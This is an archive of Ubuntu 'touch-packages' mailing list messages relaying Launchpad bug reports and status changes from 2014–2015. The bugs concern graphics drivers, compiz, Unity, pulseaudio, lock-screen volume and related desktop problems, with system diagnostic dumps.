Thanks for the feedback. Marking this as resolved. ** Changed in: mesa (Ubuntu) Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1268146 Title: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe) Status in mesa package in Ubuntu: Fix Released Bug description: I just upgraded to 14.04, and I'm seeing 50%-500% cpu usage from compiz. Strangely, glxinfo reports this, which is totally incorrect - I'm running on Intel Sandy Bridge HD3000 graphics and VMware isn't even installed on this PC: OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.4, 256 bits) OpenGL version string: 2.1 Mesa 10.0.1 So I guess that compiz might be using lots of cpu because it's using llvmpipe as the renderer. So is this a mesa bug? ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: unity 7.1.2+14.04.20131106.1-0ubuntu2 ProcVersionSignature: Ubuntu 3.13.0-1.16-generic 3.13.0-rc7 Uname: Linux 3.13.0-1-generic x86_64 .tmp.unity.support.test.1: ApportVersion: 2.13.1-0ubuntu1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Sat Jan 11 22:27:28 2014 DistUpgraded: 2014-01-11 12:30:22,360 ERROR SystemError from cache.commit(): installArchives() failed DistroCodename: trusty DistroVariant: ubuntu GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:050e] NVIDIA Corporation GF108M [GeForce GT 540M] [10de:0df4] (rev ff) (prog-if ff) InstallationDate: Installed on 2012-08-25 (504 days ago) InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120724.2) MachineType: Dell Inc. Dell System XPS L502X ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-1-generic root=UUID=67083065-b92e-4596-a218-817c1dfc8ae7 ro quiet splash intel_pstate=enable crashkernel=384M-:128M vt.handoff=7 SourcePackage: unity UpgradeStatus: Upgraded to trusty on 2014-01-11 (0 days ago) dmi.bios.date: 05/29/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A11 dmi.board.name: 0NJT03 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA11:bd05/29/2012:svnDellInc.:pnDellSystemXPSL502X:pvr:rvnDellInc.:rn0NJT03:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.name: Dell System XPS L502X dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.10+13.10.20131011-0ubuntu1 version.ia32-libs: ia32-libs 20090808ubuntu36 version.libdrm2: libdrm2 2.4.50-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.0.1-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.0.1-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.14.5-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.2.0-0ubuntu10 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.907-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu1 xserver.bootTime: Sat Jan 11 22:20:55 2014 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 41063 vendor DEL xserver.version: 2:1.14.5-1ubuntu2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1268146/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436269] Re: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised
in addition to comment the volume entry of [Element Master] , you may need to comment volume entry of [Element PCM] in analog- output.conf.common the dB range of three paths in pulseaudio log should be the same (i.e. -91.5 dB +3 dB) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1436269 Title: When you select Analog Output or Speakers as port in Output Devices tab of pavucontrol, headphone levels are raised Status in pulseaudio package in Ubuntu: Incomplete Bug description: I expect that headphone levels are not raised, when Analog Output or Speakers is selected as port. Please note, that Line out = analog output port is controlled by ALSA mixer track called PCM, whereas there should be a separate mixer track for it; see bug Bug #1433568 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: pulseaudio 1:4.0-0ubuntu11.1 ProcVersionSignature: Ubuntu 3.13.0-48.80-lowlatency 3.13.11-ckt16 Uname: Linux 3.13.0-48-lowlatency x86_64 ApportVersion: 2.14.1-0ubuntu3.7 Architecture: amd64 CurrentDesktop: XFCE Date: Wed Mar 25 12:34:23 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2014-09-21 (185 days ago) InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.1) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2011 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.6.6 dmi.board.name: 0RF703 dmi.board.vendor: Dell Inc. dmi.chassis.type: 6 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.6.6:bd06/26/2011:svnDellInc.:pnOptiPlex745:pvr:rvnDellInc.:rn0RF703:rvr:cvnDellInc.:ct6:cvr: dmi.product.name: OptiPlex 745 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1436269/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1268146] Re: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe)
@madbiologist: thanks for looking into it. I haven't upgraded to the A12 BIOS because the list of fixes and enhancements was very small and only mentioned it was a fix for some issues when upgrading to Windows 8. (Additionally, Dell doesn't provide a way to update the BIOS from Linux for this machine so upgrading it is a PITA.) FWIW, compiz works fine on this machine after I did a complete reinstall of 14.04, so it was some issue with the upgrade process that I ran into, and that seems to be a common theme here. Perhaps the upgrade inadvertently left an old intel driver in place (eg with an invalid ABI) and so the system rejected it? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1268146 Title: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe) Status in mesa package in Ubuntu: Confirmed Bug description: I just upgraded to 14.04, and I'm seeing 50%-500% cpu usage from compiz. Strangely, glxinfo reports this, which is totally incorrect - I'm running on Intel Sandy Bridge HD3000 graphics and VMware isn't even installed on this PC: OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.4, 256 bits) OpenGL version string: 2.1 Mesa 10.0.1 So I guess that compiz might be using lots of cpu because it's using llvmpipe as the renderer. So is this a mesa bug? ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: unity 7.1.2+14.04.20131106.1-0ubuntu2 ProcVersionSignature: Ubuntu 3.13.0-1.16-generic 3.13.0-rc7 Uname: Linux 3.13.0-1-generic x86_64 .tmp.unity.support.test.1: ApportVersion: 2.13.1-0ubuntu1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Sat Jan 11 22:27:28 2014 DistUpgraded: 2014-01-11 12:30:22,360 ERROR SystemError from cache.commit(): installArchives() failed DistroCodename: trusty DistroVariant: ubuntu GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:050e] NVIDIA Corporation GF108M [GeForce GT 540M] [10de:0df4] (rev ff) (prog-if ff) InstallationDate: Installed on 2012-08-25 (504 days ago) InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120724.2) MachineType: Dell Inc. Dell System XPS L502X ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-1-generic root=UUID=67083065-b92e-4596-a218-817c1dfc8ae7 ro quiet splash intel_pstate=enable crashkernel=384M-:128M vt.handoff=7 SourcePackage: unity UpgradeStatus: Upgraded to trusty on 2014-01-11 (0 days ago) dmi.bios.date: 05/29/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A11 dmi.board.name: 0NJT03 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA11:bd05/29/2012:svnDellInc.:pnDellSystemXPSL502X:pvr:rvnDellInc.:rn0NJT03:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.name: Dell System XPS L502X dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.10+13.10.20131011-0ubuntu1 version.ia32-libs: ia32-libs 20090808ubuntu36 version.libdrm2: libdrm2 2.4.50-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.0.1-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.0.1-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.14.5-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.2.0-0ubuntu10 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.907-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu1 xserver.bootTime: Sat Jan 11 22:20:55 2014 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 41063 vendor DEL xserver.version: 2:1.14.5-1ubuntu2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1268146/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458933] Re: No volume control on screen lock - Volume goes to 100%
** Package changed: lightdm (Ubuntu) => lightdm-gtk-greeter (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1458933 Title: No volume control on screen lock - Volume goes to 100% Status in lightdm-gtk-greeter package in Ubuntu: New Bug description: Xubuntu 14.04.2, LightDM, Macbook 4,1, using ubuntu-stable using $ dm-tool lock, the keyboard volume controls do not work until I have logged in. I expect it to at least maintain the volume level it was at, and respond to being muted, but it does none of these things. This is a problem because if I forget to turn off music, then take my laptop somewhere, I have to login before I can mute the massive blast of music coming out of my speakers. On the lock screen, even if the volume was previously muted, it gets put to 100%. Searching google and posting this problem on /r/linux4noobs, /r/linuxquestions, and /r/archlinux have yielded no answers. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm-gtk-greeter/+bug/1458933/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458732] Re: Three finger tap middle click does not work on Ubuntu 15.04
Removing (commenting) the following section in plugins/unityshell/src/unityshell.cpp also does not restore the gestures and taps (even though it removed the unity bindings to the three finger taps) 4025 gestures_sub_windows_.reset(new nux::GesturesSubscription); 4026 gestures_sub_windows_->SetGestureClasses(nux::TOUCH_GESTURE 4027 | nux::DRAG_GESTURE 4028 | nux::PINCH_GESTURE); 4029 gestures_sub_windows_->SetNumTouches(3); 4030 gestures_sub_windows_->SetWindowId(GDK_ROOT_WINDOW()); 4031 gestures_sub_windows_->Activate(); -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1458732 Title: Three finger tap middle click does not work on Ubuntu 15.04 Status in Unity: New Status in unity package in Ubuntu: New Bug description: In 14.10 a three finger tap on a touch-pad was recognised as a middle click. In 15.04 this is no longer the case. It appears to get swallowed up waiting for the various three finger gestures listed here: https://wiki.ubuntu.com/Multitouch To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1458732/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1354654] Re: Bug #1342377 with dual Radeon HD 6570 + amd-catalyst-14-4-rev2-linux-x86-x86-64-may6
Hi Christopher- I was actually still running Ubuntu 12.04. It was last July. When I did last summer's firmware update for Linux kernel drivers I got a black screen. It would not roll back to a previous version. == I then tried the 14.04 as a fresh install and only got snow with my dual Radeon HD 6570. My motherboard is Asus M5A97 R2.0 AMD 970 ATX MB. Clearly this is itself a major bug. It is uncomplicated. It does not work. == A black hole problem like these yields little post crash info. Unfortunately, I migrated to Xubuntu due to lack of response to this issue, which occurred occurred a year ago. I still hold back the firmware for Linux kernel drivers update on this system, which update precipitated the problem. I became extremely agitated and made a fairly incoherent bug report. But I do hope someone figures it out before I have to migrate to another distro entirely , Sincerely. Glenn J Tison > Date: Tue, 26 May 2015 03:28:06 + > From: christopher.m.penal...@gmail.com > To: glennjti...@hotmail.com > Subject: [Bug 1354654] Re: Bug #1342377 with dual Radeon HD 6570 + > amd-catalyst-14-4-rev2-linux-x86-x86-64-may6 > > GJT, thank you for reporting this and helping make Ubuntu better. Could > you please run the following command from a terminal as it will > automatically gather and attach updated debug information to this > report: > > apport-collect -p xorg 1354654 > > Please ensure you have xdiagnose installed, and that you click the Yes > button for attaching additional debugging information. > > ** Package changed: xorg-lts-trusty (Ubuntu) => xorg (Ubuntu) > > ** Changed in: xorg (Ubuntu) >Importance: Undecided => Low > > ** Changed in: xorg (Ubuntu) >Status: New => Incomplete > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1354654 > > Title: > Bug #1342377 with dual Radeon HD 6570 + amd- > catalyst-14-4-rev2-linux-x86-x86-64-may6 > > Status in xorg package in Ubuntu: > Incomplete > > Bug description: > xserver-xorg-core-lts-trusty conflicts Radeon HD 6570 > > All in Ubnuntu 12.04LTS I did the hardware update 'strongly > recomended' and the upgrade deleted my radeon drivers. I got an > unstable sparkely screen and had to return to a previous ubuntu > version to fix. > > I had Bug #1342377, but succeded in loading the radeon module, amd- > catalyst-14-4-rev2-linux-x86-x86-64-may6, which worked fine till I > updated, then I got no video at all: That's the new bug > > The Update loaded the xserver-xorg-core-lts-trusty, the core server as > well as xserver-comon-lts-trusty, various c library functions and Grub > updates. It had a warning that it was a partial update. > > There was no reference to this in ubuntu forums., or > > I have an Asus M5A97R2.0 motherboard with 2 Radeon HD 6570 with 2gig > of memory each running a syntax display at 1250x720 via a vga cable. > It has a dvi port, but I have never bothered to update that hardware. > The system is about 10 months old except for the monitor, which is > 12, I think. > > I also tried to run the xubuntu-14.04-desktop-amd64.iso, but got no > video from the live cd at all. That'd likely be the same video > conflict in the next version X windows. > > To manage notifications about this bug go to: > https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1354654/+subscriptions -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1354654 Title: Bug #1342377 with dual Radeon HD 6570 + amd- catalyst-14-4-rev2-linux-x86-x86-64-may6 Status in xorg package in Ubuntu: Incomplete Bug description: xserver-xorg-core-lts-trusty conflicts Radeon HD 6570 All in Ubnuntu 12.04LTS I did the hardware update 'strongly recomended' and the upgrade deleted my radeon drivers. I got an unstable sparkely screen and had to return to a previous ubuntu version to fix. I had Bug #1342377, but succeded in loading the radeon module, amd- catalyst-14-4-rev2-linux-x86-x86-64-may6, which worked fine till I updated, then I got no video at all: That's the new bug The Update loaded the xserver-xorg-core-lts-trusty, the core server as well as xserver-comon-lts-trusty, various c library functions and Grub updates. It had a warning that it was a partial update. There was no reference to this in ubuntu forums., or I have an Asus M5A97R2.0 motherboard with 2 Radeon HD 6570 with 2gig of memory each running a syntax display at 1250x720 via a vga cable. It has a dvi port, but I have never bothered to update that hardware. The system is about 10 months old except for the monitor, which is 12, I think. I also tried to run the xubuntu-14.04-desktop-amd64.iso, but
[Touch-packages] [Bug 1428808] Re: Keyboard Shortcuts overlay font size practically unreadable
[Expired for unity (Ubuntu) because there has been no activity for 60 days.] ** Changed in: unity (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1428808 Title: Keyboard Shortcuts overlay font size practically unreadable Status in Unity: Expired Status in unity package in Ubuntu: Expired Bug description: As with other areas of Unity, it seems the Keyboard Shortcut overlay (visible when holding in the super key) is not properly rendering fonts at the correct size. Please see the attached screenshot. The numbers that appear on top applications in the unity launcher are very difficult to read because they are so small. (Launcher width is set to 36px, but even when set at the default of 48, they are still difficult to read because of how they blend with the background icons. They need to be bigger, fill up the entire area of the shaded, rounded square, and have a black outline or something to make them stick out more. The text of the actual Keyboard Shortcuts help window is so small that I have to get very close to the screen to read it, and even then the words are not very clear at such a small size with only a 128 DPI screen. There is so much empty space on this screen, I can think of no reason not to make them all bigger to at the very least fill up the space! To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1428808/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1428808] Re: Keyboard Shortcuts overlay font size practically unreadable
[Expired for Unity because there has been no activity for 60 days.] ** Changed in: unity Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1428808 Title: Keyboard Shortcuts overlay font size practically unreadable Status in Unity: Expired Status in unity package in Ubuntu: Expired Bug description: As with other areas of Unity, it seems the Keyboard Shortcut overlay (visible when holding in the super key) is not properly rendering fonts at the correct size. Please see the attached screenshot. The numbers that appear on top applications in the unity launcher are very difficult to read because they are so small. (Launcher width is set to 36px, but even when set at the default of 48, they are still difficult to read because of how they blend with the background icons. They need to be bigger, fill up the entire area of the shaded, rounded square, and have a black outline or something to make them stick out more. The text of the actual Keyboard Shortcuts help window is so small that I have to get very close to the screen to read it, and even then the words are not very clear at such a small size with only a 128 DPI screen. There is so much empty space on this screen, I can think of no reason not to make them all bigger to at the very least fill up the space! To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1428808/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1430867] Re: [15.04] Unity quicklists disappear when mouse is not focused over launcher.
[Expired for Unity because there has been no activity for 60 days.] ** Changed in: unity Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1430867 Title: [15.04] Unity quicklists disappear when mouse is not focused over launcher. Status in Unity: Expired Status in unity package in Ubuntu: Expired Bug description: Right-clicking an icon on the Unity tray (not sure of the real name) and attempting to click any menu item causes the menu to disappear, before it can even be reached. The menu disappears the moment the mouse exits the panel. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: unity 7.3.1+15.04.20150227-0ubuntu1 ProcVersionSignature: Ubuntu 3.19.0-8.8-generic 3.19.1 Uname: Linux 3.19.0-8-generic i686 ApportVersion: 2.16.2-0ubuntu2 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CurrentDesktop: Unity Date: Wed Mar 11 10:46:22 2015 InstallationDate: Installed on 2015-03-11 (0 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha i386 (20150306) ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: unity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1430867/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1430867] Re: [15.04] Unity quicklists disappear when mouse is not focused over launcher.
[Expired for unity (Ubuntu) because there has been no activity for 60 days.] ** Changed in: unity (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1430867 Title: [15.04] Unity quicklists disappear when mouse is not focused over launcher. Status in Unity: Expired Status in unity package in Ubuntu: Expired Bug description: Right-clicking an icon on the Unity tray (not sure of the real name) and attempting to click any menu item causes the menu to disappear, before it can even be reached. The menu disappears the moment the mouse exits the panel. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: unity 7.3.1+15.04.20150227-0ubuntu1 ProcVersionSignature: Ubuntu 3.19.0-8.8-generic 3.19.1 Uname: Linux 3.19.0-8-generic i686 ApportVersion: 2.16.2-0ubuntu2 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CurrentDesktop: Unity Date: Wed Mar 11 10:46:22 2015 InstallationDate: Installed on 2015-03-11 (0 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha i386 (20150306) ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: unity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1430867/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1437447] Re: avconv error "couldn't load module ... gnome-keyring-pkcs11.so"
[Expired for libav (Ubuntu) because there has been no activity for 60 days.] ** Changed in: libav (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libav in Ubuntu. https://bugs.launchpad.net/bugs/1437447 Title: avconv error "couldn't load module ... gnome-keyring-pkcs11.so" Status in libav package in Ubuntu: Expired Bug description: Calling avconv -version prints error: p11-kit: couldn't load module: /usr/lib/x86_64-linux-gnu/pkcs11/gnome- keyring-pkcs11.so: /usr/lib/x86_64-linux-gnu/pkcs11/gnome-keyring- pkcs11.so: cannot open shared object file: No such file or directory Error disappears after installing package "libp11-kit-gnome-keyring", but it is not a dependency of libav-tools. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libav/+bug/1437447/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1451613] Re: Unity/compiz crashes when locking screen
"Then when I try to unlock the screen I need to enter my password twice (with no error message after the first try" This seems strange to me. If compiz crashes you should not be able to unlcock the screen. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1451613 Title: Unity/compiz crashes when locking screen Status in Unity: New Status in unity package in Ubuntu: Confirmed Bug description: Since a recent update (around April 29th), sometimes (approximately once a day) when I lock my computer screen (CTRL+L or using system menu) the computer freeze for a while (2 to 30 seconds) before showing the login screen. Then when I try to unlock the screen I need to enter my password twice (with no error message after the first try). Once logged in, all applications are closed. Uptime is still running (since no reboot) and services too (with no interruption). Looking at the apport.log file (see attached) it seems that when I try to lock the screen, compiz crashes. I've attached the compiz crash file too (_usr_bin_compiz.1000.crash) but without the 100Mo data of base64 core dumb… I'm using Ubuntu 14.04 AMD64. Graphics drivers: nvidia-331.113 (tested) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1451613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1364653] Re: Daily Recurring Events need refresh to appear when created from DayView
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: qtorganizer5-eds (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtorganizer5-eds in Ubuntu. https://bugs.launchpad.net/bugs/1364653 Title: Daily Recurring Events need refresh to appear when created from DayView Status in Calendar application for Ubuntu devices: Confirmed Status in qtorganizer5-eds package in Ubuntu: Confirmed Bug description: When I create a daily recurring event from the DayView that starts on that day, the EventBubble does not immediately appear on the current Day. I can swipe to go to future days, and the EventBubble appears there. If I swipe back to return to the original Day, or I go to a different view (MonthView, WeekView, etc.) the event appears. Since the EventBubble appears after re-navigating to the page in any way, this appears to be a "refreshing" problem, where the DayView isn't updated after creating a recurring event. Steps to Reproduce 1) Open the Calendar App, and go to any day on the DayView. 2) Create a recurring event starting on that day, which re-occurs daily. 3) Save the new event and return to the DayView. The EventBubble should not appear on the DayView for the current Day. Expected: The EventBubble should appear on the DayView page immediately after returning from creating the event. A reproduction of this behavior can be seen at: https://www.youtube.com/watch?v=9NK9m8ZznrA&feature=youtu.be To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-calendar-app/+bug/1364653/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1459086] [NEW] Graphics issue
Public bug reported: I am running ubuntu 14.04 and I am a newbie, I am learning linux but as I am very much concerned with all hardware of the pc to be successfully installed. But in ubuntu I found that AMD Graphics and the intel graphics that came along with the dell laptop can't get successfully installed. And I do have some glitches while scrolling on the page and when watching movies as well there is little lag in quality! Thank you! ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: xorg 1:7.7+1ubuntu8.1 ProcVersionSignature: Ubuntu 3.16.0-38.52~14.04.1-generic 3.16.7-ckt10 Uname: Linux 3.16.0-38-generic x86_64 NonfreeKernelModules: fglrx .tmp.unity.support.test.0: ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CompizPlugins: [core,composite,opengl,compiztoolbox,decor,vpswitch,snap,mousepoll,resize,place,move,wall,grid,regex,imgpng,session,gnomecompat,animation,fade,staticswitcher,workarounds,scale,expo,ezoom,dbus] CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed May 27 09:37:35 2015 DistUpgraded: Fresh install DistroCodename: trusty DistroVariant: ubuntu DkmsStatus: fglrx-updates-core, 15.200, 3.16.0-38-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:0598] Advanced Micro Devices, Inc. [AMD/ATI] Thames [Radeon HD 7500M/7600M Series] [1002:6840] (prog-if 00 [VGA controller]) Subsystem: Dell Radeon HD 7670M [1028:0598] InstallationDate: Installed on 2015-05-26 (0 days ago) InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 (20150218.1) MachineType: Dell Inc. Inspiron 3521 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.16.0-38-generic root=UUID=a5e8b8d6-79c9-4912-bcd0-077c23998dbd ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/15/2014 dmi.bios.vendor: Dell Inc. dmi.bios.version: A13 dmi.board.name: 0XF308 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: A13 dmi.modalias: dmi:bvnDellInc.:bvrA13:bd04/15/2014:svnDellInc.:pnInspiron3521:pvrA13:rvnDellInc.:rn0XF308:rvrA00:cvnDellInc.:ct8:cvrA13: dmi.product.name: Inspiron 3521 dmi.product.version: A13 dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.11.3+14.04.20150313-0ubuntu1 version.fglrx-installer: fglrx-installer N/A version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.60-2~ubuntu14.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri N/A version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core N/A 